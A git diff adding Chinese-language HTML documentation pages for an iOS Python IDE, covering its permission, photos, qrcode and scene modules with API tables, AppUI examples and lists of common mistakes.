file_picker选择已有 PDF 路径
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/permission-module/index.html b/docs/docs/pages/permission-module/index.html new file mode 100644 index 0000000..9290ff5 --- /dev/null +++ b/docs/docs/pages/permission-module/index.html @@ -0,0 +1,487 @@ + + + + + + permission - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

permission

+

统一查询权限状态,并请求位置或通知权限。

+
+ +
+

统一权限入口:查询授权状态,并在支持的模块上触发系统授权弹窗。

+
边界permission 只管「查状态 / 弹授权」,不替代业务模块。拍照、选图、读通讯录等具体操作仍调用 photoscontacts 等模块。当前运行时 request() 仅支持 locationnotificationsstatus() 可查 locationnotificationshealthmotionspeechMODULES 列出规划中的统一键名,其余键请先用各业务模块自带 API。
+

#模块概览

+
说明
导入import permission
适合做什么设置页展示权限、功能前置判断、批量刷新状态
调用时机request() 放在按钮回调;不要写在 AppUI body()
推荐顺序status(module) 判断 → 需要时 request(module) → 再 status 确认 → 调业务模块
判断授权看返回字典的 authorized 字段,不要只比对 status 字符串
+
+

#快速开始

+

下面脚本查询定位与通知权限,并在未授权时发起申请:

+
+
+ python +
+
+
import permission
+
+for key in ("location", "notifications"):
+    entry = permission.status(key)
+    print(key, "→", entry)
+
+    if not entry.get("authorized"):
+        result = permission.request(key)
+        print("申请结果:", result)
+        entry = permission.status(key)
+        print("最新状态:", entry)
+
+

request("location") 只触发系统弹窗,不等待用户点选;request("notifications") 会等待用户响应并返回 granted

+
+

#AppUI 示例

+

权限操作全部放进按钮回调;被拒绝后展示状态,不循环弹窗。

+
+
+ python +
+
+
import appui
+import permission
+
+state = appui.State(
+    location_status="未查询",
+    notification_status="未查询",
+    message="点击按钮开始",
+)
+
+
+def format_entry(entry):
+    if not entry:
+        return "未查询"
+    if entry.get("error"):
+        return str(entry.get("error"))
+    mark = "已授权" if entry.get("authorized") else "未授权"
+    return f"{mark}({entry.get('status', 'unknown')})"
+
+
+def find_entry(statuses, module_name):
+    for item in statuses.get("modules", []):
+        if item.get("module") == module_name:
+            return item
+    return {}
+
+
+def refresh_all():
+    result = permission.status_all()
+    if not result.get("success", True):
+        state.message = str(result)
+        return
+    state.location_status = format_entry(find_entry(result, "location"))
+    state.notification_status = format_entry(find_entry(result, "notifications"))
+    state.message = "已刷新全部权限"
+
+
+def request_location():
+    result = permission.request("location")
+    if result.get("error"):
+        state.message = result["error"]
+        return
+    state.location_status = format_entry(permission.status("location"))
+    state.message = "已发起定位授权,请在系统弹窗中选择"
+
+
+def request_notifications():
+    result = permission.request("notifications")
+    if result.get("error"):
+        state.message = result["error"]
+        return
+    if "granted" in result:
+        mark = "已授权" if result.get("granted") else "未授权"
+        state.notification_status = f"{mark}({result.get('status', '—')})"
+    else:
+        state.notification_status = format_entry(permission.status("notifications"))
+    state.message = "通知权限已更新"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("定位", [
+                appui.Button("申请定位权限", action=request_location)
+                .button_style("bordered_prominent"),
+                appui.LabeledContent("状态", value=state.location_status),
+            ]),
+            appui.Section("通知", [
+                appui.Button("申请通知权限", action=request_notifications)
+                .button_style("bordered_prominent"),
+                appui.LabeledContent("状态", value=state.notification_status),
+            ]),
+            appui.Section("批量", [
+                appui.Button("刷新全部状态", action=refresh_all),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("权限中心")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
status(module)查询单个模块 → dict
request(module)申请权限 → dict(仅 location / notifications
status_all()批量查询当前 Bridge 支持的模块
MODULES规划中的统一权限键名列表
+

#查询

+

status(module) — 查询单个模块,不弹窗。

+
+
+ python +
+
+
entry = permission.status("location")
+if entry.get("authorized"):
+    ...
+
+

常见返回字段:

+
字段说明
success是否查询成功
module模块键名
status状态字符串(各模块含义不同)
authorized是否视为已授权 → 优先看这个
error失败时的错误信息
+

定位常见 statusauthorized_when_in_useauthorized_alwaysdeniednot_determined。通知常见:authorizeddeniedprovisional

+

status_all() — 返回 Bridge 当前支持的模块列表:

+
+
+ python +
+
+
result = permission.status_all()
+for item in result.get("modules", []):
+    print(item["module"], item["status"], item["authorized"])
+
+

返回结构:{"success": True, "modules": [{"module": "...", "status": "...", "authorized": bool}, ...]}。按 module 字段查找,不是以模块名为 key 的扁平字典。

+

#申请

+

request(module) — 触发系统授权。目前仅支持:

+
模块键行为
location弹出「使用期间」定位授权;立即返回 {"action": "requested"},需再查 status
notifications弹出通知授权;等待用户选择,返回含 granted 的结果
+
+
+ python +
+
+
# 定位:申请后需再查询
+permission.request("location")
+entry = permission.status("location")
+
+# 通知:可直接看 granted
+result = permission.request("notifications")
+if result.get("granted"):
+    ...
+
+

对其他键(如 cameraphotoscontacts)调用 request() 会返回 permission_request_not_supported。请改用业务模块,例如 notification.request_permission()location.request_access()photos.pick_image() 首次调用时系统会自动弹窗。

+

#MODULES 与运行时支持

+

MODULES 是统一键名规划,完整列表:

+
+
+ python +
+
+
import permission
+print(permission.MODULES)
+
+

当前 Bridge 已接通的范围:

+
键名statusrequest备注
location
notifications不是 notification
healthhealth 按数据类型申请
motion / speech返回 available 占位状态
camera / photos / contacts用对应业务模块
+
+

#常见错误

+
错误写法后果修正
permission.request("notification")键名错误使用 notifications
request() 返回值当 bool判断逻辑错误authorizedgranted 字段
camerapermission.request返回不支持直接调 photos / camera 模块
body() 里请求权限刷新时反复弹窗放进按钮回调
用户拒绝后反复 request体验差、仍拿不到权限展示状态并引导去系统设置
+
+

#相关文档

+
文档用途
location定位权限与坐标读取
notification通知权限与本地提醒
photos相册访问与选图
healthHealthKit 按类型授权
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/photos-module/index.html b/docs/docs/pages/photos-module/index.html new file mode 100644 index 0000000..7e6c33b --- /dev/null +++ b/docs/docs/pages/photos-module/index.html @@ -0,0 +1,527 @@ + + + + + + photos - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

photos

+

相册选择、拍照、保存和资源查询。

+
+ +
+

访问系统照片库:选图、拍照、保存图片/视频、读取资源与相册,以及图片 Base64 转换。

+
边界:走系统照片/相机界面,用户可随时取消(返回 NoneFalse)。vision OCR 要 bytes,vision_helper 检测要 Base64;大文件不要塞进 storage
+

#模块概览

+
说明
导入import photos
适合做什么选图上传、拍照存档、相册浏览、视觉识别前置
调用时机pick_image / capture_image 放在按钮回调;不要写在 body()
推荐顺序用户点击 → pick_image / capture_image → 判空 → 处理或 save_image
取消处理用户取消返回 None;保存失败返回 False
+

#双入口:脚本与 AppUI

+
入口第一行适合场景
Python 模块import photospick_image()capture_image() 等函数式调用
AppUI 组件import appui + PhotoPicker表单内嵌选图、on_picked 回调绑定
+

两种入口共享相册权限与取消语义;相机场景见 camera-module,任意文件见 file-picker-module

+
+

#快速开始

+

下面脚本从相册选一张图,打印尺寸;用户取消时友好退出:

+
+
+ python +
+
+
import photos
+
+image = photos.pick_image()
+if image is None:
+    print("用户取消选图")
+else:
+    width, height = photos.get_image_size(image)
+    print(f"已选择 {width}×{height}")
+
+    saved = photos.save_image(image, format="JPEG", quality=0.85)
+    print("保存到相册:", "成功" if saved else "失败")
+
+

没有 Pillow 时,用 pick_image(raw_data=True) 获取 bytes

+
+

#AppUI 示例 {#appui-photo-picker}

+

选图和拍照都在按钮回调里执行;取消时保持页面可操作。表单内嵌选图也可用 appui.PhotoPicker(见 AppUI 媒体参考)。

+
+
+ python +
+
+
import appui
+import photos
+
+state = appui.State(
+    status="等待操作",
+    size="—",
+    saved="—",
+    message="点击按钮开始",
+)
+
+
+def pick_photo():
+    image = photos.pick_image()
+    if image is None:
+        state.batch_update(
+            status="已取消",
+            size="—",
+            saved="—",
+            message="用户取消选图",
+        )
+        return
+
+    width, height = photos.get_image_size(image)
+    state.batch_update(
+        status="已选图",
+        size=f"{width}×{height}",
+        saved="—",
+        message="选图成功,可继续处理或保存",
+    )
+
+
+def capture_and_save():
+    image = photos.capture_image()
+    if image is None:
+        state.batch_update(
+            status="已取消",
+            size="—",
+            saved="—",
+            message="用户取消拍照",
+        )
+        return
+
+    width, height = photos.get_image_size(image)
+    ok = photos.save_image(image, format="JPEG", quality=0.85)
+    state.batch_update(
+        status="已拍照",
+        size=f"{width}×{height}",
+        saved="已保存到相册" if ok else "保存失败",
+        message="拍照流程完成",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("操作", [
+                appui.Button("从相册选图", action=pick_photo)
+                .button_style("bordered_prominent"),
+                appui.Button("拍照并保存", action=capture_and_save),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent("尺寸", value=state.size),
+                appui.LabeledContent("保存", value=state.saved),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("照片")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
pick_image(...)系统选图 → PIL.Image / bytes / None
capture_image(...)系统拍照 → PIL.Image / None
save_image(image, ...)保存图片到相册 → bool
save_video(path)保存本地视频文件到相册 → bool
get_assets(...)列举照片资源 → list[Asset]
pick_asset(...)选择单个 Asset
pick_image_base64(...)选图并返回 Base64 字符串
get_image_size(image)图片尺寸 → (width, height)
+

#选图与拍照

+

pick_image(raw_data=False) — 打开系统照片选择器。

+
+
+ python +
+
+
image = photos.pick_image()
+if image is None:
+    print("用户取消")
+
+raw = photos.pick_image(raw_data=True)  # 无 Pillow 时用 bytes
+
+

默认返回 PIL.Imageraw_data=True 返回 bytesshow_albumsmulti 等兼容参数会被接受但当前由系统界面决定行为。

+

capture_image() — 打开系统相机拍照,取消返回 Nonecameraflash 等参数为兼容入口,实际由系统拍照界面控制。

+
+
+ python +
+
+
image = photos.capture_image()
+if image:
+    photos.save_image(image)
+
+

pick_asset() — 选择照片库中的 Asset 对象,便于读取元数据:

+
+
+ python +
+
+
asset = photos.pick_asset()
+if asset:
+    print(asset.pixel_width, asset.pixel_height)
+    data = asset.get_image(original=True, raw_data=True)
+
+

#保存

+

save_image(image, format="JPEG", quality=0.85) — 保存 PIL.Imagebytes 到照片库。

+
+
+ python +
+
+
ok = photos.save_image(image, format="JPEG", quality=0.85)
+
+

save_video(path) — 把本地视频文件路径写入相册(不读入内存):

+
+
+ python +
+
+
import network
+import photos
+
+path = "demo.mp4"
+if network.download("https://example.com/demo.mp4", path):
+    ok = photos.save_video(path)
+
+

album_name 等参数会被接受但当前忽略,文件保存到系统默认位置。

+

#读取资源

+

get_assets(media_type="photo", limit=20) — 列举资源,务必设置合理 limit

+
+
+ python +
+
+
assets = photos.get_assets(media_type="photo", limit=20)
+for asset in assets[:3]:
+    print(asset.local_identifier, asset.pixel_width, asset.pixel_height)
+
+

media_type 支持 photovideoalllimit=0 表示不限制,列表页不建议使用。

+

Asset 常用属性local_identifiermedia_typepixel_widthpixel_heightcreation_datedurationis_favorite

+
+
+ python +
+
+
asset = photos.pick_asset()
+if asset:
+    image = asset.get_image(original=True)
+    raw = asset.get_image(original=True, raw_data=True)
+
+

其他读取 API:get_recent_images(count=10)get_favorites()get_count(media_type="photo")

+

#相册

+
API说明
get_albums()用户相册
get_smart_albums()系统智能相册
get_moments()时刻分组
create_album(title)创建相册
get_screenshots_album()截图相册
get_recently_added_album()最近添加
get_selfies_album()自拍相册
+

#Base64

+

vision_helper 等需要 Base64 的流程使用:

+
+
+ python +
+
+
import photos
+import vision_helper
+
+payload = photos.pick_image_base64(format="JPEG", quality=0.85)
+if payload:
+    result = vision_helper.detect_barcodes(payload)
+    print(result)
+
+
API说明
pick_image_base64(...)选图 → Base64
capture_image_base64(...)拍照 → Base64
image_to_base64(image, ...)已有图片 → Base64
base64_to_image(b64_string)Base64 → PIL.Image
+
注意vision OCR 接收 bytesvision_helper 检测接收 Base64 字符串。
+
+

#常见错误

+
错误写法后果修正
不判断 pick_image() 返回值用户取消后崩溃if image is None: return
get_assets(limit=0) 拉全库内存和耗时暴涨设置合理 limit
把 Base64 存进 storage体积大、读写慢存文件路径或按需重选
把文件路径传给 vision_helper类型错误pick_image_base64image_to_base64
body() 里打开选图器刷新时反复弹窗放进按钮回调
+
+

#相关文档

+
文档用途
vision图片 bytes OCR
vision_helperBase64 人脸/条码/分类检测
permission照片权限状态查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/qrcode-module/index.html b/docs/docs/pages/qrcode-module/index.html new file mode 100644 index 0000000..95f7513 --- /dev/null +++ b/docs/docs/pages/qrcode-module/index.html @@ -0,0 +1,395 @@ + + + + + + qrcode - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

qrcode

+

生成二维码图片(读取用 vision_helper)。

+
+ +
+

二维码生成:把文字或链接编码为 PNG 图片(CoreImage CIQRCodeGenerator)。

+
边界只负责生成,不从图片读取/扫描二维码。识别请用 vision_helperdetect_barcodes。无需权限,不联网。
+

#模块概览

+
说明
导入import qrcode
适合做什么分享链接、设备配对码、活动签到码
调用时机generate / save 放在按钮回调
推荐顺序准备文本 → save()generate() → 分享或相册展示
纠错等级L/M(默认)/Q/H,越高越抗污损、容量越小
+
+

#快速开始

+

生成 PNG 字节并保存到文件:

+
+
+ python +
+
+
import os
+import qrcode
+
+out = os.path.join(os.path.expanduser("~/Documents"), "qr-preview.png")
+png = qrcode.generate("https://pythonide.xin", size=512, correction="M")
+print("字节数:", len(png))
+path = qrcode.save("https://pythonide.xin", out, size=600)
+print("已保存:", path)
+
+
+

#AppUI 示例

+

生成放进按钮回调;appui.Image 不直接显示文件路径,因此展示保存路径文本。

+
+
+ python +
+
+
import appui
+import os
+import qrcode
+
+state = appui.State(
+    text="https://pythonide.xin",
+    path="",
+    size="512",
+)
+
+
+def make_qr():
+    out = os.path.join(os.path.expanduser("~/Documents"), "qr-preview.png")
+    size = int(state.size) if state.size.isdigit() else 512
+    state.path = qrcode.save(state.text, out, size=size, correction="M")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("内容", [
+                appui.TextField("要编码的内容", text=state.text),
+                appui.TextField("边长(像素)", text=state.size),
+            ]),
+            appui.Section("生成", [
+                appui.Button("生成二维码", action=make_qr)
+                .button_style("bordered_prominent"),
+                appui.Text(
+                    "已保存到:" + state.path if state.path else "尚未生成"
+                ).foreground_color("secondaryLabel"),
+            ], footer="生成后可用分享或相册查看 PNG。"),
+        ]).navigation_title("二维码")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
generate(text, size=512, correction='M')返回 PNG bytes
generate_base64(text, size=512, correction='M')返回 Base64 PNG 字符串
save(text, path, size=512, correction='M')写入文件并返回路径
QRCodeError生成失败异常
+

#参数

+
参数说明
text要编码的字符串
size输出边长(像素),通常 64–4096
correctionL(7%) / M(15%) / Q(25%) / H(30%)
+
+
+ python +
+
+
png = qrcode.generate("Hello", size=256, correction="H")
+b64 = qrcode.generate_base64("Hello")
+path = qrcode.save("Hello", "/path/qr.png")
+
+
+

#常见错误

+
错误写法后果修正
qrcode 扫描图片模块不支持读取vision_helper.detect_barcodes
文本过长编码失败缩短内容或降低纠错等级
appui.Image 显示文件路径显示不出来保存后用 share 或相册
保存到不可写路径QRCodeError改用 ~/Documents
+
+

#相关文档

+
文档用途
vision_helper从图片识别二维码/条码
share分享生成的 PNG
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/scene-api-index/index.html b/docs/docs/pages/scene-api-index/index.html new file mode 100644 index 0000000..acbaea9 --- /dev/null +++ b/docs/docs/pages/scene-api-index/index.html @@ -0,0 +1,356 @@ + + + + + + scene API 索引 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

scene API 索引

+

按生命周期、节点、Action、Physics、Classic 绘图与常量查 scene 公开名称。

+
+ +
+

按生命周期、节点、Action、Physics、Classic 绘图与常量快速查找 scene 公开名称。

+
精确签名以 scene API 参考运行时/scene类型存根 为准。
+

#最小入口

+
+
+ python +
+
+
import scene
+
+
+class DemoScene(scene.Scene):
+    def setup(self):
+        self.background_color = "black"
+
+    def draw(self):
+        scene.fill(1, 1, 1)
+        scene.text("scene", x=self.size.w / 2, y=self.size.h / 2, font_size=24)
+
+
+scene.run(DemoScene())
+
+
+

#先看哪一类

+
你要做什么先看
启动与关闭场景runScene.setupScene.stop(关闭回调)
每帧逻辑updatedttframe_count
精灵 / 文字 / 形状SpriteNodeLabelNodeShapeNodeTexture
动画Action.move_toAction.sequenceAction.repeat_forever
触摸touch_beganTouch.location
碰撞PhysicsBodycontact_beganContact
Classic 画布backgroundfillrectellipselinetext
屏幕与安全区get_screen_sizeget_safe_area_insets
模态场景present_modal_scenedismiss_modal_scene
+
+

#索引

+

#模块函数

+
名称说明
run运行 Scene 子类(阻塞至关闭)
get_screen_size屏幕尺寸 → Size
get_screen_scale屏幕缩放因子
get_safe_area_insets安全区 → EdgeInsets
gravity设备重力向量 → Vector3
play_effect播放系统音效
get_image_path解析内置图片路径
get_controllers已连接游戏手柄列表
+

#Classic 绘图

+
名称说明
background清屏背景色
fill / no_fill填充色
stroke / no_stroke / stroke_weight描边
tint / no_tint着色
rect / ellipse / line基础图形
image / text图片与文字
translate / rotate / scale变换
push_matrix / pop_matrix矩阵栈
blend_mode / use_shader混合与着色器
load_image / load_image_file / load_pil_image / unload_image图片资源
render_text预渲染文字纹理
image_quad ⚠️未实现
triangle_strip ⚠️未实现
+

#几何与输入

+
名称说明
Point / Size / Rect / Vector2 / Vector3几何类型
EdgeInsets安全区内边距
Touchlocationprev_locationtouch_id
Contact物理碰撞回调:node_anode_bcontact_point
+

#

+
名称说明
Scene场景基类
SceneView嵌入式场景视图(高级)
Node节点基类
SpriteNode精灵
LabelNode文字
ShapeNode矢量路径
EffectNode特效节点
EmitterNode粒子发射器
Texture纹理
Shader自定义着色器
Action动作工厂
PhysicsWorld / PhysicsBody物理
PinJoint / SpringJoint / RopeJoint关节约束
+

#Scene 生命周期方法

+

setupupdatedrawdid_evaluate_actionstouch_begantouch_movedtouch_endeddid_change_sizecontroller_changedcontact_beganpresent_modal_scenedismiss_modal_scenepauseresumestop

+

#Scene 常用属性

+

sizeboundsbackground_colorchildrenphysics_worldsafe_area_insetsdttframe_counttoucheseffects_enabledcrop_rectviewpresented_scenepresenting_scene

+

#Action 静态方法

+

move_tomove_byrotate_torotate_byscale_toscale_byscale_x_toscale_y_tofade_tofade_bysequencegrouprepeatrepeat_foreverwaitremovecallset_uniform

+

#常量

+
分组名称
方向DEFAULT_ORIENTATIONPORTRAITLANDSCAPE
混合BLEND_NORMALBLEND_ADDBLEND_MULTIPLY
纹理过滤FILTERING_LINEARFILTERING_NEAREST
缓动TIMING_LINEARTIMING_EASE_INTIMING_EASE_OUTTIMING_EASE_IN_OUTTIMING_SINODIALTIMING_BOUNCE_*TIMING_ELASTIC_*TIMING_EASE_BACK_*
+
+

#相关文档

+
文档用途
scene 概览教程、可运行示例、常见错误
scene API 参考构造函数与参数详解
+

#失败路径

+
情况处理
权限被拒绝在设置中开启权限后,从用户触发的回调重试
设备或能力不可用先检查返回值或 is_available(),再给用户可读提示
用户取消保留当前界面状态,不要当作成功继续流程
参数或 API 名错误对照模块 API 参考与 schema,修正后再运行
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/scene-api-reference/index.html b/docs/docs/pages/scene-api-reference/index.html new file mode 100644 index 0000000..cc0ac59 --- /dev/null +++ b/docs/docs/pages/scene-api-reference/index.html @@ -0,0 +1,457 @@ + + + + + + scene API 参考 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

scene API 参考

+

集中列出 scene 生命周期、节点、Action、Physics 与 Classic 绘图签名。

+
+ +
+

scene 提供 Pythonista 兼容的 2D 场景 API(Swift SpriteKit 原生能力入口)。适合游戏与动画;表单/列表请用 appui

+
+

#运行入口

+
+
+ text +
+
+
scene.run(
+    scene_instance: Scene,
+    *,
+    orientation: int = 0,
+    frame_interval: int = 1,
+    anti_alias: bool = False,
+    show_fps: bool = False,
+    multi_touch: bool = True,
+) -> None
+
+
参数说明
orientationDEFAULT_ORIENTATION(0)、PORTRAIT(1)、LANDSCAPE(2)
frame_interval1≈60fps,2≈30fps
show_fps左上角显示帧率
anti_alias抗锯齿
multi_touch是否多点触控
+

run() 阻塞直到场景视图关闭。关闭时若子类实现了 stop() 会被调用。

+
+

#Scene 生命周期

+
方法时机
setup()场景首次显示前;self.size 已设置
update()每帧;可用 self.dtself.tself.frame_count
draw()Classic 模式每帧绘制
did_evaluate_actions()每帧 Action 求值后
touch_began(touch) / touch_moved / touch_ended触摸事件
did_change_size()尺寸或方向变化
controller_changed(key, value)游戏手柄状态变化
contact_began(contact)物理碰撞(需配置 contact_test_bitmask
present_modal_scene(other)叠加模态子场景
dismiss_modal_scene()关闭当前呈现的模态场景
pause() / resume()App 前后台
stop()场景被用户关闭
+

#场景属性

+
属性类型说明
sizeSizew、高 h
boundsRect场景边界
background_colorRGBA 元组或颜色名背景色
childrenlist[Node]子节点
physics_worldPhysicsWorld物理世界
safe_area_insetsEdgeInsets安全区
dt / tfloat帧间隔 / 运行时间(秒)
frame_countint帧计数
touchesdict当前活动触摸
+
+

#节点

+

#Node(基类)

+
+
+ text +
+
+
Node(position=(0, 0), *, z_position=0, scale=1, alpha=1, parent=None)
+
+

常用属性:positionrotationx_scaley_scalealphaz_positionparentchildrenphysics_bodyblend_modepausedspeed

+

常用方法:add_childremove_from_parentrun_actionremove_actionremove_all_actions

+

#SpriteNode

+
+
+ text +
+
+
SpriteNode(
+    texture=None,
+    position=(0, 0),
+    *,
+    size=None,
+    color="white",
+    z_position=0,
+    alpha=1,
+    parent=None,
+)
+
+
  • 第一个位置参数 texture:图片名、TextureNone(纯色块)。
  • 纯色精灵:必须 color= 关键字,例如 SpriteNode(color="red", size=(40,40))
+

#LabelNode

+
+
+ text +
+
+
LabelNode(
+    text="",
+    font=("Helvetica", 20),
+    position=(0, 0),
+    *,
+    parent=None,
+)
+
+

属性 textfont(元组或名称)可读写。

+

#ShapeNode

+
+
+ text +
+
+
ShapeNode(
+    path=None,
+    fill_color="white",
+    stroke_color="clear",
+    position=(0, 0),
+    *,
+    parent=None,
+)
+
+

#Texture

+
+
+ python +
+
+
Texture(name_or_image)
+
+

属性:sizefiltering_modeFILTERING_LINEAR / FILTERING_NEAREST

+
+

#Action

+

工厂静态方法(均需 node.run_action(action) 才会执行):

+
方法签名要点
move_to(x, y, duration=0.5, timing_mode=TIMING_LINEAR)
move_by(dx, dy, duration=0.5, timing_mode=...)
scale_to(scale, duration=0.5, ...) — 统一缩放
scale_by相对缩放
rotate_to / rotate_by弧度
fade_to / fade_by透明度
sequence(*actions)顺序执行
group(*actions)并行执行
repeat(action, count)count=0 配合 repeat_forever
wait(duration)等待
remove()从父节点移除
call(func_id, ...)回调(通过注册 ID)
+
+

#Physics

+

#PhysicsBody

+
+
+ python +
+
+
PhysicsBody.rectangle(width=0, height=0, w=0, h=0)
+PhysicsBody.circle(radius=0, r=0)
+
+

附着:node.physics_body = body(自动绑定到 SpriteKit)

+
属性说明
dynamic是否受力和碰撞推动
affected_by_gravity是否受重力
allows_rotation是否可旋转
restitution弹性
friction摩擦
category_bitmask / collision_bitmask / contact_test_bitmask碰撞过滤
+

#PhysicsWorld

+

通过 scene.physics_world 访问;属性 gravityVector2)。

+

#关节

+
+
+ text +
+
+
PinJoint(node_a, node_b, anchor)
+SpringJoint(node_a, node_b, anchor_a, anchor_b, *, damping=0.5, frequency=1.0)
+RopeJoint(node_a, node_b, anchor_a, anchor_b)
+
+

SpringJointdampingfrequency 必须关键字传递。

+

#Contact

+

contact_began(contact) 收到 Contactnode_anode_bcontact_pointcollision_impulse

+
+

#Classic 绘图

+

仅在 Scene.draw() 内调用。

+
函数签名
background(r, g, b)清屏
fill(r, g, b, a=1)填充色
stroke(r, g, b, a=1)描边色
stroke_weight(w)线宽
rect(x, y, w, h, corner_radius=0)矩形
ellipse(x, y, w, h)椭圆外接框
line(x1, y1, x2, y2)线段
text(txt, font_name='Helvetica', font_size=16, x=0, y=0, alignment=5)文字
image(name, x, y, w, h, ...)已加载图片
translate / rotate / scale变换
push_matrix / pop_matrix矩阵栈
+

#尚未实现 ⚠️

+
函数行为
image_quad(...)NotImplementedError
triangle_strip(...)NotImplementedError
+
+

#系统与资源

+
函数返回说明
get_screen_size()Size屏幕点尺寸
get_screen_scale()floatRetina 缩放
get_safe_area_insets()EdgeInsets安全区
gravity()Vector3设备加速度方向
play_effect(name, volume=1, pitch=1)系统音效
get_image_path(name)str资源路径
get_controllers()list手柄列表
+
+

#颜色与坐标

+
  • 颜色可为 'white''#RRGGBB'(r,g,b)(r,g,b,a) 或灰度浮点。
  • 坐标原点在左下角y 向上增大(与 UIKit/SpriteKit 场景坐标一致)。
+
+

#使用规则

+
  • 保留对象用节点;即时绘制用 draw()
  • 每帧避免创建大量节点、阻塞 I/O、网络请求。
  • 普通业务 UI 不要用 scene 硬做表单。
+
+

#相关文档

+
文档用途
scene 概览可运行示例与选型
scene API 索引名称速查
+

#失败路径

+
情况处理
权限被拒绝在设置中开启权限后,从用户触发的回调重试
设备或能力不可用先检查返回值或 is_available(),再给用户可读提示
用户取消保留当前界面状态,不要当作成功继续流程
参数或 API 名错误对照模块 API 参考与 schema,修正后再运行
+

#完整导出索引

+

以下名称与 scene 模块公开导出一致,供检索与 Agent 覆盖校验:

+

Scene, Node, SpriteNode, LabelNode, ShapeNode, EffectNode, EmitterNode, Action, Texture, Shader, SceneView, Touch, Vector2, Vector3, Size, Rect, Point, EdgeInsets, PhysicsBody, PhysicsWorld, Contact, PinJoint, SpringJoint, RopeJoint, run, get_screen_size, get_screen_scale, gravity, play_effect, get_image_path, get_controllers, get_safe_area_insets, background, fill, no_fill, stroke, no_stroke, stroke_weight, tint, no_tint, rect, ellipse, line, image, text, translate, rotate, scale, push_matrix, pop_matrix, blend_mode, use_shader, load_image, load_image_file, load_pil_image, render_text, unload_image, BLEND_NORMAL, BLEND_ADD, BLEND_MULTIPLY, DEFAULT_ORIENTATION, PORTRAIT, LANDSCAPE, TIMING_LINEAR, TIMING_EASE_IN, TIMING_EASE_IN_2, TIMING_EASE_OUT, TIMING_EASE_OUT_2, TIMING_EASE_IN_OUT, TIMING_SINODIAL, TIMING_EASE_BACK_IN, TIMING_EASE_BACK_OUT, TIMING_EASE_BACK_IN_OUT, TIMING_ELASTIC_IN, TIMING_ELASTIC_OUT, TIMING_ELASTIC_IN_OUT, TIMING_BOUNCE_IN, TIMING_BOUNCE_OUT, TIMING_BOUNCE_IN_OUT, FILTERING_LINEAR, FILTERING_NEAREST

+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/scene-module/index.html b/docs/docs/pages/scene-module/index.html new file mode 100644 index 0000000..aeab7e6 --- /dev/null +++ b/docs/docs/pages/scene-module/index.html @@ -0,0 +1,539 @@ + + + + + + scene - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

scene

+

2D 场景、精灵节点、触摸、Action 动画、物理与 Classic 绘图。

+
+ +
+

Pythonista 风格的 2D 场景运行时:精灵节点、触摸、逐帧 update()、Classic 绘图、动作动画与 SpriteKit 物理。

+
边界scene 适合小游戏、画布动画和物理交互。普通表单、设置页、列表导航请用 appui;教材式海龟绘图用 turtle;主屏小组件用 widget。坐标原点在左下角(与 Pythonista 一致)。
+

#模块概览

+
说明
导入import scene
适合做什么触摸游戏、精灵动画、粒子、碰撞、Classic 画布、手柄输入
入口定义 Scene 子类,脚本末尾只调用一次 scene.run(MyScene())
生命周期setup() 建节点;update() 每帧逻辑;draw() Classic 绘图;触摸走 touch_*
关闭方式scene.run() 会阻塞直到场景关闭(界面上的关闭按钮或系统下滑 dismiss)
MiniAppScene 类型 MiniApp 入口同样是 scene.run(...),不是 appui.run()
文档示例代码块标记 previewScene,点「预览」直接打开全屏场景,不弹控制台 sheet
+
+

#快速开始

+

点击运行后会打开全屏 2D 场景;触摸屏幕可看到坐标更新。

+
+
+ python +
+
+
import scene
+
+
+class TapDemo(scene.Scene):
+    def setup(self):
+        self.background_color = (0.08, 0.09, 0.12)
+        self.label = scene.LabelNode(
+            "Tap anywhere",
+            font=("Helvetica", 22),
+            position=(self.size.w / 2, self.size.h / 2),
+            parent=self,
+        )
+
+    def touch_began(self, touch):
+        self.label.text = f"{touch.location.x:.0f}, {touch.location.y:.0f}"
+
+
+scene.run(TapDemo(), show_fps=True)
+
+
+

